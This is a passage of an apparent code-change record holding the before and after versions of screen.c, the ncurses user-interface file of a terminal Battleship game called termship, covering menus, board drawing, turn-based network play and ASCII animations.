!= 10) {\n    switch (c) {\n    case KEY_DOWN:\n      menu_driver(my_menu, REQ_DOWN_ITEM);\n      break;\n    case KEY_UP:\n      menu_driver(my_menu, REQ_UP_ITEM);\n      break;\n    }\n  }\n  ITEM *cur = current_item(my_menu);\n  const char *selected_name = item_name(cur);\n  \n  /* delete the menu, free resources */\n  for (int i=0; i<n_choices-1; ++i) {\n    free_item(my_items[i]);\n  }\n  /* free(my_items); */\n  unpost_menu(my_menu);\n  free_menu(my_menu);\n\n  if (0==strcmp(selected_name, \"Create\")) {\n    user_mode = SERVER_MODE;\n    get_text_string_from_centered_panel(\"Enter your name\",\n                    global_user_name,\n                    MAX_NAME);\n    init_game(user_mode);\n  } else if (0==strcmp(selected_name, \"Join\")) {\n    user_mode = CLIENT_MODE;\n    get_text_string_from_centered_panel(\"Enter your name\",\n                    global_user_name,\n                    MAX_NAME);\n    init_game();\n  }\n\n  return;\n}\n\nvoid return_cords(int * x, int * y)\n{\n  struct player_pos_ player_pos;\n  int startx, starty,height, width;\n  \n  player_pos.x = 0;\n  player_pos.y = 0;\n\n  keypad(stdscr, TRUE);\n  curs_set(1); // make cursor visible\n  height = 3+BOARD_SIZE; \n  width = 14+BOARD_SIZE; \n  starty = (LINES - height) / 2;  \n  startx = (COLS - width) / 2;   \n\n  int playerx = 3+startx+20;\n  int playery = 2+starty;\n  move(playery,playerx);\n\n  int ch;\n  while((ch = getch())) \n    {\n      switch(ch) \n        {\n    case KEY_LEFT:\n            if (playerx > 3+startx+20) {\n              playerx -=2;\n              player_pos.x--;\n              move(playery, playerx);\n              break;\n            }\n            break;\n        case KEY_RIGHT:\n          if (playerx < -3+startx+20+width) {\n            playerx +=2;\n            player_pos.x++;\n            move(playery, playerx);\n            break; \n          }\n          break;\n        case KEY_UP:\n          if (playery > 2+starty) {\n            --playery;\n            --player_pos.y;\n            move(playery, playerx);\n            break;\n          }\n          break;\n        case KEY_DOWN:\n          if (playery < starty+height-2) {\n            ++playery;\n            ++player_pos.y;\n            move(playery, playerx);\n            break;  \n          }\n        case 10:\n        case KEY_ENTER:\n      if (player_shots[player_pos.x][player_pos.y] == UNTOUCHED) {\n        *x = player_pos.x;\n        *y = player_pos.y;\n        return;\n      } else {\n            move(playery, playerx);\n      }\n          break;\n                \n        }\n    } \n}\n\nvoid display_boards(void)\n{\n  int startx, starty, width, height; \n  int stat_width, stat_height;\n\n  char players_grid[BOARD_SIZE][BOARD_SIZE];\n\n  int f, h = 0;\n  char t;\n  int i;\n  stat_height= 5;\n  stat_width=50;\n\n  keypad(stdscr, TRUE);            \n  height = 3+BOARD_SIZE; \n  width = 14+BOARD_SIZE; \n  starty = (LINES - height) / 2;  \n  startx = (COLS - width) / 2;    \n  clear();\n  refresh(); \n\n  player_win = newwin(height, width, starty, startx+20); \n  box(player_win, 0, 0);\n  wrefresh(player_win);\n\n  opponent_win = newwin(height, width, starty, startx-20);\n  box(opponent_win, 0, 0);\n  wrefresh(opponent_win);\n\n  status_win = newwin(stat_height, stat_width, starty+13, startx-20);\n\n  create_grid(players_grid, Shipset);\n\n  clear();\n  refresh();\n\n  mvprintw(starty-1, startx-15, global_user_name);\n  mvwprintw(opponent_win, 1,1,\"  A B C D E F G H I J\");\n  wattron(opponent_win,COLOR_PAIR(2));\n  mvwprintw(opponent_win, 1, 1, \" \");\n  wattroff(opponent_win,COLOR_PAIR(2));\n\n  for (h = 0; h<BOARD_SIZE; h++) {\n    mvwprintw(opponent_win, 2+h, 1,\"%d|\", h);\n    for (f =0; f<BOARD_SIZE; f++) {\n      t = players_grid[h][f];\n      if (t == '*') {\n        wattron(opponent_win,COLOR_PAIR(2));\n        mvwprintw(opponent_win, 2+h,3+f*2, \"%c\", t);\n        wattroff(opponent_win,COLOR_PAIR(2));\n      } else {\n    mvwprintw(opponent_win, 2+h,3+f*2, \"%c\", t);\n      }\n      mvwprintw(opponent_win, 2+h,4+f*2, \"|\");\n    }\n  }\n  wrefresh(opponent_win);\n\n  mvprintw(starty-1, startx+21, peer_user_name);\n  mvwprintw(player_win,1,1,\"  A B C D E F G H I J\");\n\n  for (i=0;i<BOARD_SIZE;i++) {\n    mvwprintw(player_win,i+2,1,\"%d|_|_|_|_|_|_|_|_|_|_|\",i+0);\n  }\n  refresh();\n  wrefresh(player_win);\n  wrefresh(status_win); \n\n  attroff(A_UNDERLINE);\n\n}\n\n/**\n * This function gets called from within init_game\n * It is called repeatedly if we are the server, else\n * it is just called once.\n */\nvoid do_gameplay(const int sock, int fire)\n{\n  int x,y,res,win_status=0;\n  char msg[100];\n\n  for (int i=0; i<BOARD_SIZE; ++i) {\n    for (int j=0; j<BOARD_SIZE; ++j) {\n      player_shots[i][j] = UNTOUCHED;\n      peer_shots[i][j] = UNTOUCHED;\n    }\n  }\n\n\n  initShips();\n  display_boards();\n\n  Ship sh;\n  do {\n    if (fire == 1) { /*you're the attacker*/\n      mvwprintw(status_win,1,1,\"It's your turn!                    \");\n      wrefresh(status_win);\n            \n      fire = 0;\n      return_cords(&x, &y);\n      res = do_fire(sock, x, y);\n\n\n      place_hit_or_mis(player_win,res, x, y, false);\n      switch (res) {\n      case 0:\n        mvwprintw(status_win,2,1,\"Missed!                                    \");\n        wrefresh(status_win);\n        break;\n      case 1:\n        mvwprintw(status_win,2,1,\"You hit them!                              \");\n        wrefresh(status_win);\n        /* play_boom(\"You hit them!\"); */\n        /* display_boards(); */\n        break;\n      case -1:\n        mvwprintw(status_win,2,1,\"You sunk them!                             \");\n        wrefresh(status_win);\n        /* play_boom(\"You sunk them!\"); */\n        /* display_boards(); */\n        break;\n      case -2:\n        win_status = 1;\n        mvwprintw(status_win,2,1,\"Game over!                        \");\n        wrefresh(status_win);\n        fire = -1;\n        break;\n      }\n\n    } else { /*you're the defender*/\n      keypad(stdscr, FALSE);\n      curs_set(0); // Set cursor invisible\n      mvwprintw(status_win,1,1,\"Waiting for other player to fire...\");\n      wrefresh(status_win);\n      res = do_receive(sock);\n\n\n      refresh();\n      if (res == 0) {\n        //wclear(status_win);\n        mvwprintw(status_win,2,1,\"They missed!                                \");\n        //mvwprintw(status_win,5,1,\"It's your turn!\");\n        wrefresh(status_win);\n      } else if (res < 0) { //negative res indicates sunken ship\n        sh = getShipById(-1*res); /* what a hack... */\n        //wclear(status_win);\n        mvwprintw(status_win,2,1,\"They sunk your %s!               \", sh.name);\n        /* play_boom(\"They sunk you!\"); */\n        /* display_boards(); */\n        //mvwprintw(status_win,5,1,\"It's your turn!\");\n        wrefresh(status_win);\n      } else if (res==100);//do nothing...the game is over\n      else {\n        sh = getShipById(res);\n        //wclear(status_win);\n        mvwprintw(status_win,2,1,\"They hit your %s!                \", sh.name);\n        /* play_boom(\"They hit you!\"); */\n        /* display_boards(); */\n        //mvwprintw(status_win,5,1,\"It's your turn!\");\n        wrefresh(status_win);\n      }\n      mvwprintw(status_win,1,1,\"It's your turn!                               \");\n      fire = (check_game_over() == 1) ? -1 : 1;\n      refresh();\n    }\n  } while(fire > -1);\n\n  sprintf(msg, \"Game over! You %s!\\nPress any key to view battlefields.\", win_status ? \"won\" : \"lost\");\n  show_message_box(msg);\n  getch();\n  exchange_shipsets(sock);\n  show_battlefields();\n}\n\n\nvoid title_screen()\n{\n  char *picture[] = {\n    \"                                     # #  ( )\",\n    \"                                  ___#_#___|__\",\n    \"                              _  |____________|  _\",\n    \"                       _=====| | |            | | |==== _\",\n    \"                 =====| |.---------------------------. | |====\",\n    \"   <--------------------'   .  .  .  .  .  .  .  .   '--------------/\",\n    \"     \\\\                                                             /\",\n    \"      \\\\_______________________________________________WWS_________/\",\n    \"  wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\",\n    \"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\",\n    \"   wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\",\n    NULL\n  };\n\n  print_picture(stdscr, picture);\n\n  /* int numsquiggles = 8; */\n  /* int numreps = 2; */\n  /* int framespeed = 60000; */\n  /* do a little \"animation\" */\n  /* for (int i=0; i<numreps; ++i) { */\n  /*   /\\* pushing out *\\/ */\n  /*   for (int j=0; j<numsquiggles; ++j) { */\n  /*     char msg[100]; */\n  /*     int s=0; */\n  /*     for (int k=0; k<j+1; ++k) { */\n  /*    msg[s++] = '~'; */\n  /*     } */\n  /*     msg[s++]=' '; */\n  /*     msg[s++]='t'; */\n  /*     msg[s++]='e'; */\n  /*     msg[s++]='r'; */\n  /*     msg[s++]='m'; */\n  /*     msg[s++]='s'; */\n  /*     msg[s++]='h'; */\n  /*     msg[s++]='i'; */\n  /*     msg[s++]='p'; */\n  /*     msg[s++]=' '; */\n  /*     for (int k=0; k<j+1; ++k) { */\n  /*    msg[s++] = '~'; */\n  /*     } */\n  /*     msg[s++] = '\\0'; */\n  /*     show_message_box(msg); */\n  /*     usleep(framespeed); */\n  /*   } */\n  /*   /\\* pulling in *\\/ */\n  /*   for (int j=numsquiggles; j>0; --j) { */\n  /*     char msg[100]; */\n  /*     int s=0; */\n  /*     for (int k=0; k<j+1; ++k) { */\n  /*    msg[s++] = '~'; */\n  /*     } */\n  /*     msg[s++]=' '; */\n  /*     msg[s++]='t'; */\n  /*     msg[s++]='e'; */\n  /*     msg[s++]='r'; */\n  /*     msg[s++]='m'; */\n  /*     msg[s++]='s'; */\n  /*     msg[s++]='h'; */\n  /*     msg[s++]='i'; */\n  /*     msg[s++]='p'; */\n  /*     msg[s++]=' '; */\n  /*     for (int k=0; k<j+1; ++k) { */\n  /*    msg[s++] = '~'; */\n  /*     } */\n  /*     msg[s++] = '\\0'; */\n  /*     show_message_box(msg); */\n  /*     usleep(framespeed); */\n  /*   } */\n  /* } */\n\n\n\n  /* Test an animation: */\n  /* Animation *anim1 = create_animation(\"test1.txt\"); */\n  /* play_animation(anim1, true); */\n  /* Animation *underwater_explosion = create_animation(\"underwater_explosion.txt\"); */\n  /* play_animation(underwater_explosion, true); */\n  /* destroy_animation(underwater_explosion); */\n  Animation *montage = create_animation(\"opener.txt\");\n  play_animation(montage, \"Welcome to termship! (Press any key)\", true, true);\n  destroy_animation(montage);\n\n}\n\nvoid play_boom(char *msg)\n{\n  static Animation *boom = NULL;\n  if (boom == NULL)\n    boom = create_animation(\"boom.txt\");\n\n  char *subtitle = (char *) malloc((sizeof(char)) * (strlen(msg) + strlen(\" (Press any key)\")) + 1 );\n  KINDLY_DIE_IF_NULL(subtitle);\n  strcpy(subtitle, msg);\n  strcat(subtitle, \" (Press any key)\");\n  play_animation(boom, subtitle, true, true);\n  free(subtitle);\n}\n\n\n\n/*** Some utility functions ***/\n\n/* from http://www.linuxdoc.org/HOWTO/NCURSES-Programming-HOWTO/panels.html */\nvoid print_in_middle(WINDOW *win, int starty,\n                     int startx, int width,\n                     char const *const string, chtype color)\n{\n  int length, x, y;\n  float temp;\n\n  if(win == NULL)\n    win = stdscr;\n  getyx(win, y, x);\n  if(startx != 0)\n    x = startx;\n  if(starty != 0)\n    y = starty;\n  if(width == 0)\n    width = 80;\n\n  length = strlen(string);\n  temp = (width - length)/ 2;\n  x = startx + (int)temp;\n  wattron(win, color);\n  mvwprintw(win, y, x, \"%s\", string);\n  wattroff(win, color);\n  refresh();\n}\n\nstatic WINDOW *message_box_win;\nstatic PANEL *message_box_panel;\nstatic int last_message_box_width=0;\nstatic int last_message_box_height=0;\n/**\n * Shows a global message box in the middle of the screen\n */\nvoid show_message_box(char const *const string)\n{\n  show_message_box_win(&message_box_win, &message_box_panel,\n               string, &last_message_box_width, &last_message_box_height);\n}\n\n/**\n * Shows a message box in specific window the middle of the\n * screen. You should make sure you're always passing in the same\n * reference to last_box_width and last_box_height associated with\n * this window.\n */\nvoid show_message_box_win(WINDOW **win, PANEL **pan, char const *const string,\n              int *last_box_width, int *last_box_height)\n{\n  int width;\n  int height = 5;\n  int leftoffset = 1;\n  int largest_line_length = 0, prev_newline_index = 0;\n  char msg[500];\n  (void)msg; /*compiler warnings*/\n\n  /* Count the newlines to determine any extra height we'll need to add */\n  for (int i=0; i<strlen(string)+1; ++i) {\n    if (string[i] == '\\n' || string[i] == '\\0') {\n      largest_line_length = i-prev_newline_index > largest_line_length\n    ? i-prev_newline_index\n    : largest_line_length;\n      prev_newline_index = i;\n      if (string[i] == '\\n')\n    height++;\n      /* sprintf(msg, \"found newline or null at %d. now height is %d largest line is %d\\n\", i, height, largest_line_length); */\n      /* write_to_log(msg); */\n    }\n  }\n  largest_line_length = largest_line_length == 0\n    ? strlen(string)\n    : largest_line_length;\n  /* sprintf(msg, \"At the end, now height is %d largest line is %d\\n\", height, largest_line_length); */\n  /* write_to_log(msg); */\n\n  width = largest_line_length + 6;\n\n\n  /* if there's an existing message box up and this string is a\n     different length than the last one, we need to recompute the\n     width, so we just hide the message box. */\n  if (*last_box_width != width || *last_box_height != height) {\n    sprintf(msg, \"implicit hide of the message box because %d != %d || %d != %d\\n\",\n        *last_box_width, width, *last_box_height, height);\n    write_to_log(msg);\n    hide_message_box_win(win, pan);\n  }\n\n  if (*win == NULL) {\n    *win = newwin(height, width,\n                 (LINES-height)/2,\n                 (COLS-width)/2);\n    sprintf(msg, \"created new win at *win %p\\n\", *win);\n    write_to_log(msg);\n  }\n  if (*pan == NULL) {\n    *pan = new_panel(*win);\n    sprintf(msg, \"created new *pan at %p\\n\", *pan);\n    write_to_log(msg);\n  }\n  wattron(*win, BLUE_ON_BLACK);\n  box(*win, 0, 0);\n  wattroff(*win, BLUE_ON_BLACK);\n  /* border(186, 186, 205, 205, */\n  /*     201, 187, 200, 188); */\n  /* border(ls, rs, chtype ts, chtype bs, */\n  /*     chtype tl, chtype tr, chtype bl, chtype br); */\n\n  int current_y = 1;\n  wattron(*win, WHITE_ON_RED);\n  for (int i=0; i<width-2; ++i)\n    mvwprintw(*win, current_y, i+1, \"-\"); /* fill above the text */\n  current_y++;\n\n\n  /* Now for the printing. We need to split the string on newlines (if\n     any) and print each of those separately */\n  char *our_string = (char *) malloc(strlen(string)+1);\n  KINDLY_DIE_IF_NULL(our_string);\n  strcpy(our_string, string);\n  if (strchr(string, '\\n') != NULL) { /* we have newlines */\n    for (char *next_tok = strtok(our_string, \"\\n\");\n     next_tok != NULL;\n     next_tok = strtok(NULL, \"\\n\")) {\n      wattron(*win, WHITE_ON_RED);\n      mvwhline(*win, current_y, 1, ' ', width-2);\n      print_in_middle(*win, current_y,\n              leftoffset, width-1, next_tok,\n              WHITE_ON_RED);\n      current_y++;\n    }\n  } else {\n    wattron(*win, WHITE_ON_RED);\n    mvwhline(*win, current_y, 1, ' ', width-2);\n    print_in_middle(*win, current_y, leftoffset, width-1, string, WHITE_ON_RED);\n    current_y++;\n  }\n\n  wattron(*win, WHITE_ON_RED);\n  for (int i=0; i<width-2; ++i)\n    mvwprintw(*win, current_y, i+1, \"-\"); /* fill below the text */\n\n  wattroff(*win, WHITE_ON_RED);\n\n  free(our_string);\n\n  top_panel(*pan);\n  update_panels();\n  doupdate();\n\n  *last_box_width = width;\n  *last_box_height = height;\n}\n\n/**\n * Hides the message box\n */\nvoid hide_message_box()\n{\n  hide_message_box_win(&message_box_win, &message_box_panel);\n}\n\n/**\n * Hides a specific message box\n */\nvoid hide_message_box_win(WINDOW **win, PANEL **pan)\n{\n  char msg[500];\n  wclear(*win);\n  if (*pan != NULL) {\n    sprintf(msg, \"deleting *pan at %p\\n\", *pan);\n    write_to_log(msg);\n    del_panel(*pan);\n    *pan = NULL;\n    update_panels();\n  }\n  wrefresh(*win);\n  if (*win != NULL) {\n    sprintf(msg, \"deleting *win at %p\\n\", *win);\n    write_to_log(msg);\n    delwin(*win);\n    *win = NULL;\n    /* doupdate(); */\n  }\n  refresh();\n}\n\n\nint get_picture_width(char *picture[])\n{\n  int maxlen=0;\n  for (int i=0; picture[i]!=NULL; ++i) {\n    int len = strlen(picture[i]);\n    maxlen = len > maxlen ? len : maxlen;\n  }\n  return maxlen;\n}\n\nvoid print_picture(WINDOW *win, char *picture[])\n{\n  /* get width of picture */\n  int picwidth = get_picture_width(picture);\n  int leftoffset = (COLS - picwidth)/2;\n  int topoffset = 2;\n  for (int i=0; picture[i] != NULL; ++i) {\n    mvwprintw(win, topoffset+i, leftoffset, picture[i]);\n  }\n}\n\n/**\n * dest should have enough space (at least len) to hold the string.\n */\nvoid get_text_string_from_centered_panel(char const *const prompt, char *dest, int len)\n{\n  WINDOW *panel_win;\n  PANEL *the_panel;\n  int panel_height=6,panel_width;\n  /* char *dest = malloc(100); */\n\n  int promptlen = strlen(prompt);\n  panel_width = MAX(30, promptlen+5);\n\n  /* Create the window to hold the panel */\n  panel_win = newwin(panel_height,\n                     panel_width,\n                     (LINES-panel_height)/2,\n                     (COLS-panel_width)/2);\n  box(panel_win, 0, 0);\n  print_in_middle(panel_win, 1,\n          0, panel_width,\n          prompt, COLOR_PAIR(6));\n  wattron(panel_win, COLOR_PAIR(5));\n  mvwhline(panel_win, 3, 2, ' ', panel_width-4);\n  curs_set(1); // make cursor visible\n  echo();\n  mvwgetnstr(panel_win, 3, 2, dest, len);\n  noecho();\n  curs_set(0); // make cursor invisible\n  wattroff(panel_win, COLOR_PAIR(5));\n  \n  /* create the panel from our window */\n  the_panel = new_panel(panel_win);\n  top_panel(the_panel);\n  update_panels();\n  doupdate();\n\n  del_panel(the_panel);\n  update_panels();\n  delwin(panel_win);\n  doupdate();\n}\n\n\n/**\n * Constructs and returns a new Animation object. This doesn't load\n * the animation. That will be done at play time or you can call\n * load_animation to do it manually. The animation should be free'd by\n * the user.\n */\nAnimation *create_animation(char *loadFile)\n{\n  Animation *anim = (Animation *)malloc(sizeof(Animation));\n  KINDLY_DIE_IF_NULL(anim);\n  anim->isLoaded = false;\n  anim->loadFile = (char *) malloc(sizeof(char) * MAX_FILE_LEAF_NAME);\n  KINDLY_DIE_IF_NULL(anim->loadFile);\n  strcpy(anim->loadFile, loadFile);\n  return anim;\n}\n\nvoid destroy_animation(Animation *anim)\n{\n  for(int i=0; i < anim->numFrames; ++i) {\n    free(anim->frames[i]);\n  }\n  free(anim->frames);\n  free(anim->loadFile);\n  free(anim);\n}\n\n\n/**\n * Loads up the animation. Make sure you set the `loadFile` attribute\n * of the Animation before calling this function.\n */\nvoid load_animation(Animation *anim)\n{\n  FILE *fp;\n  char msg[500], loadFileFullPath[MAX_FILE_FULL_PATH];\n  char *line, *thisFrame;\n  size_t len=0;\n  ssize_t read;\n\n  sprintf(loadFileFullPath, \"%s/animations/%s\", xstr(TERMSHIP_PATH), anim->loadFile);\n  sprintf(msg, \"Loading animation file from %s...\\n\", loadFileFullPath);\n  write_to_log(msg);\n\n  fp = fopen(loadFileFullPath, \"r\");\n  if (fp == NULL) {\n    cleanup_ncurses();\n    printf(\"couldn't open %s for reading...\\n\", loadFileFullPath);\n    exit(EXIT_FAILURE);\n  }\n\n  /*** read the header lines: ***/\n  /* First is the size (in lines) of each of the frames we're about to\n     read */\n  line = NULL;\n  read = getline(&line, &len, fp);\n  sscanf(line, \"%d\\n\", &(anim->height));\n  free(line);\n  sprintf(msg, \"%s has height %d\\n\", loadFileFullPath,\n      anim->height);\n  write_to_log(msg);\n  /* Next is the total number of frames */\n  line = NULL;\n  read = getline(&line, &len, fp);\n  sscanf(line, \"%d\\n\", &(anim->numFrames));\n  free(line);\n  sprintf(msg, \"%s has %d total frames\\n\", loadFileFullPath, anim->numFrames);\n  write_to_log(msg);\n  /* Next is the desired frame rate: */\n  line = NULL;\n  read = getline(&line, &len, fp);\n  sscanf(line, \"%d\\n\", &(anim->fps));\n  free(line);\n  sprintf(msg, \"%s will run at %d fps\\n\", loadFileFullPath, anim->fps);\n  write_to_log(msg);\n\n  (void)read; /*compiler warnings*/\n\n  /* Allocate space for the animation (the frames, not the actual lines quite yet): */\n  anim->frames = (char **) malloc(sizeof(char *) * anim->numFrames);\n  KINDLY_DIE_IF_NULL(anim->frames);\n  thisFrame = (char *) malloc(sizeof(char) * anim->height * MAX_FRAME_WIDTH);\n  KINDLY_DIE_IF_NULL(thisFrame);\n\n  int max_width = 0;\n  for (int i=0; i < anim->numFrames; ++i) {\n    bool last_char_was_newline = false;\n    int chars_read;\n    for (chars_read=0; ; ++chars_read) {\n      int ch = fgetc(fp);\n      /* sprintf(msg, \"[%d] => %c\\n\", chars_read, (char)ch); */\n      /* write_to_log(msg); */\n      thisFrame[chars_read] = ch;\n      if (ch == '\\n') {\n        /* two newlines in a row. next frame. */\n        if (last_char_was_newline)\n          break;\n        last_char_was_newline = true;\n      } else {\n        last_char_was_newline = false;\n      }\n    }\n    thisFrame[chars_read-1] = '\\0'; /* overwriting the final newline */\n    anim->frames[i] = (char *) malloc((sizeof(char) * chars_read)); /* don't need +1 because we truncated the last newline */\n    KINDLY_DIE_IF_NULL(anim->frames[i]);\n    strcpy(anim->frames[i], thisFrame);\n\n    max_width = MAX(chars_read, max_width);\n\n  } /*eo for each line*/\n\n  free(thisFrame);\n\n  anim->width = max_width;\n\n  anim->isLoaded = true;\n}\n\n/**\n * Plays the specified animation. Loads it if necessary.\n */\nvoid play_animation\n(Animation *anim, char *subtitle, bool press_key_to_continue, bool hold_at_end)\n{\n  static WINDOW *animation_window = NULL;\n  static PANEL  *animation_panel = NULL;\n  static int    anim_width;\n  static int    anim_height;\n  char msg[500];\n  (void)msg;\n  char *hold_message = \"\\n(Press any key to continue)\";\n\n  if (!anim->isLoaded) load_animation(anim);\n\n  anim_width = anim->width;\n  anim_height = anim->height;\n\n  if (subtitle != NULL)\n    anim_height++;\n\n\n\n  for (int i=0; i < anim->numFrames; ++i) {\n    char *theframe = anim->frames[i];\n    if (subtitle != NULL) {\n      theframe = (char *) malloc(strlen(anim->frames[i]) + strlen(subtitle) + 2); /* +2 for extra null and newline */\n      KINDLY_DIE_IF_NULL(theframe);\n      strcpy(theframe, anim->frames[i]);\n      strcat(theframe, \"\\n\");\n      strcat(theframe, subtitle);\n    }\n\n    show_message_box_win(&animation_window, &animation_panel,\n\t\t\t theframe, &anim_width, &anim_height);\n\n    if (subtitle != NULL)\n      free(theframe);\n\n    if (press_key_to_continue) {\n      /* no delay if press_key_to_continue is set: */\n      nodelay(animation_window, true);\n      if (ERR != wgetch(animation_window)) {\n\tnodelay(animation_window, false);\n\treturn;\n      }\n      nodelay(animation_window, false);\n    }\n\n    /* we assume the show_message_box_win takes 0 time */\n    usleep( (1/(float)anim->fps) * 1000000 );\n  }\n\n  if (hold_at_end) {\n    char *hold_frame = (char *) malloc(strlen(anim->frames[anim->numFrames-1]) + strlen(hold_message) + 1);\n    KINDLY_DIE_IF_NULL(hold_frame);\n    strcpy(hold_frame, anim->frames[anim->numFrames-1]);\n    strcat(hold_frame, hold_message);\n    show_message_box_win(&animation_window, &animation_panel,\n             hold_frame, &anim_width, &anim_height);\n    getch();\n    free(hold_frame);\n  }\n\n  hide_message_box_win(&animation_window, &animation_panel);\n}\n\n\nvoid cleanup_ncurses()\n{\n  endwin();         /* end curses mode */\n}\n\nvoid kindly_die(char *msg)\n{\n  cleanup_ncurses();\n  printf(msg);\n  exit(-1);\n}\n"}, "files_after": {"screen.c": "/* -*- c-basic-offset: 2 -*- */\n/**\n * This file contains all the ui routines.\n */\n\n\n#include <ncurses.h>\n#include <menu.h>\n#include <panel.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include \"gamepieces.h\"\n#include \"connection.h\"\n#include \"screen.h\"\n#include \"log.h\"\n#include \"common.h\"\n#include \"no-more-secrets/src/nms.h\"\n\n#define MAX_NAME 100\n\nextern Ship Shipset[];\nextern Ship PeerShipset[];\nchar global_user_name[MAX_NAME];\nchar peer_user_name[MAX_NAME];\nint user_mode;\ntypedef enum SHOT_SPOT {\n  UNTOUCHED=0,\n  MISS,\n  HIT\n} SHOT_SPOT;\nSHOT_SPOT player_shots[BOARD_SIZE][BOARD_SIZE]; /* 1=hit, 2=miss */\nSHOT_SPOT peer_shots[BOARD_SIZE][BOARD_SIZE]; /* 1=hit, 2=miss */\n\n\nWINDOW *player_win;\nWINDOW *opponent_win;\nWINDOW *status_win;\n\nvoid place_hit_or_mis(WINDOW * win,int mesg, int x, int y, bool was_peer_shot)\n{\n  //-2game -1 hit sink 1hit  0miss\n  //deal with hits first\n\n  if ((mesg == -2) || (mesg == -1) || (mesg == 1)) {\n    wattron(win,COLOR_PAIR(4));\n    mvwprintw(win, y+2, x*2+3,\"#\");\n    wattroff(win,COLOR_PAIR(4));\n    wrefresh(win);\n    if (was_peer_shot)\n      peer_shots[x][y] = HIT;\n    else\n      player_shots[x][y] = HIT;\n  } else { // miss\n    wattron(win,COLOR_PAIR(3));\n    mvwprintw(win, y+2, x*2+3,\"@\");\n    wattroff(win,COLOR_PAIR(3));\n    wrefresh(win);\n    if (was_peer_shot)\n      peer_shots[x][y] = MISS;\n    else\n      player_shots[x][y] = MISS;\n  }\n}\n\n/**\n * Display battlefields after exchanging boards.\n */\nvoid show_battlefields()\n{\n  /* dump battlefields: */\n  if (user_mode == SERVER_MODE) {\n    write_to_log(\"player_shots:\\n\");\n    for (int i=0; i<BOARD_SIZE; ++i) {\n      for (int j=0; j<BOARD_SIZE; ++j) {\n    char msg[10];\n    sprintf(msg, \"%c\", player_shots[i][j] == HIT ? 'h'\n        : (player_shots[i][j] == MISS ? 'm' : 'u') );\n    write_to_log(msg);\n      }\n      write_to_log(\"\\n\");\n    }\n    write_to_log(\"peer_shots:\\n\");\n    for (int i=0; i<BOARD_SIZE; ++i) {\n      for (int j=0; j<BOARD_SIZE; ++j) {\n    char msg[10];\n    sprintf(msg, \"%c\", peer_shots[i][j] == HIT ? 'h'\n        : (peer_shots[i][j] == MISS ? 'm' : 'u') );\n    write_to_log(msg);\n      }\n      write_to_log(\"\\n\");\n    }\n  }\n\n  noecho();\n  bool checking_opponent = true;\n  bool cont = true;\n  while (cont) {\n    char field[BOARD_SIZE*BOARD_SIZE + 1000]; /* TODO: give me a break... */\n    int ind=0;\n    for (int y=0; y<BOARD_SIZE; ++y) {\n      for (int x=0; x<BOARD_SIZE; ++x) {\n    if (checking_opponent) { /* checking opponent */\n      if (is_there_a_ship_here(PeerShipset, x, y)) {\n        field[ind++] = player_shots[x][y] == HIT ? '#' : '*';\n      } else {\n        field[ind++] = player_shots[x][y] == MISS ? '@' : '_';\n      }\n    } else {        /* checking user */\n      if (is_there_a_ship_here(Shipset, x, y)) {\n        field[ind++] = peer_shots[x][y] == HIT ? '#' : '*';\n      } else {\n        field[ind++] = peer_shots[x][y] == MISS ? '@' : '_';\n      }\n    } /* eo checking_opponent */\n    field[ind++] = '|';\n      }\n      field[ind++] = '\\n';\n    }\n    sprintf(&(field[ind]), \"Currently displaying %s%s territory.\\n\"\n        \"Press any key to see %s%s.\\n\"\n        \"Press enter to continue\",\n        checking_opponent ? peer_user_name : \"your\",\n        checking_opponent ? \"'s\" : \"\",\n        checking_opponent ? \"yours\" : peer_user_name,\n        checking_opponent ? \"\" : \"'s\");\n    show_message_box(field);\n\n    int ch = getch();\n    switch(ch) {\n    case 10:\n    case KEY_ENTER:\n      cont = false;\n      break;\n    } /* eo switch */\n    checking_opponent = !checking_opponent;\n  }   /* eo while cont */\n  hide_message_box();\n}\n\n/**\n * Documentation here\n */\nvoid main_menu()\n{\n\n\n  MENU *my_menu;\n  /* Order here doesn't matter. Name (the first item in each of these\n     \"pairs\") does. If you change the name, change the selection\n     handling code towards the end of this function. */\n  char *my_choices[] = {\n    \"Create\",\"(Create new termship game)\",\n    \"Join\", \"(Join existing termship game on network)\",\n    \"Exit\", \"\",\n    (char *)NULL, (char *)NULL\n  };\n  ITEM **my_items;\n  int n_choices = ARRAY_SIZE(my_choices)/2;\n\n  /* some testing modes: */\n#ifdef TEST_SHIPS\n  initShips();\n  return;\n#endif\n\n  keypad(stdscr, TRUE);\n  curs_set(0); // make cursor invisible\n  noecho();\n  title_screen();\n\n  clear();\n\n  my_items = (ITEM **)calloc(n_choices,sizeof(ITEM *));\n  for (int i=0; my_choices[i*2]!=NULL; ++i) {\n    /* i*2 since we're iterating in pairs */\n    my_items[i] = new_item(my_choices[(i*2)], my_choices[(i*2)+1]);\n  }\n\n  my_menu = new_menu(my_items);\n  set_menu_mark(my_menu, \"   * \");\n  post_menu(my_menu);\n  refresh();\n\n  int c;\n  while ((c = getch()) != 10) {\n    switch (c) {\n    case KEY_DOWN:\n      menu_driver(my_menu, REQ_DOWN_ITEM);\n      break;\n    case KEY_UP:\n      menu_driver(my_menu, REQ_UP_ITEM);\n      break;\n    }\n  }\n  ITEM *cur = current_item(my_menu);\n  const char *selected_name = item_name(cur);\n  \n  /* delete the menu, free resources */\n  for (int i=0; i<n_choices-1; ++i) {\n    free_item(my_items[i]);\n  }\n  /* free(my_items); */\n  unpost_menu(my_menu);\n  free_menu(my_menu);\n\n  if (0==strcmp(selected_name, \"Create\")) {\n    user_mode = SERVER_MODE;\n    get_text_string_from_centered_panel(\"Enter your name\",\n                    global_user_name,\n                    MAX_NAME);\n    init_game(user_mode);\n  } else if (0==strcmp(selected_name, \"Join\")) {\n    user_mode = CLIENT_MODE;\n    get_text_string_from_centered_panel(\"Enter your name\",\n                    global_user_name,\n                    MAX_NAME);\n    init_game();\n  }\n\n  return;\n}\n\nvoid return_cords(int * x, int * y)\n{\n  struct player_pos_ player_pos;\n  int startx, starty,height, width;\n  \n  player_pos.x = 0;\n  player_pos.y = 0;\n\n  keypad(stdscr, TRUE);\n  curs_set(1); // make cursor visible\n  height = 3+BOARD_SIZE; \n  width = 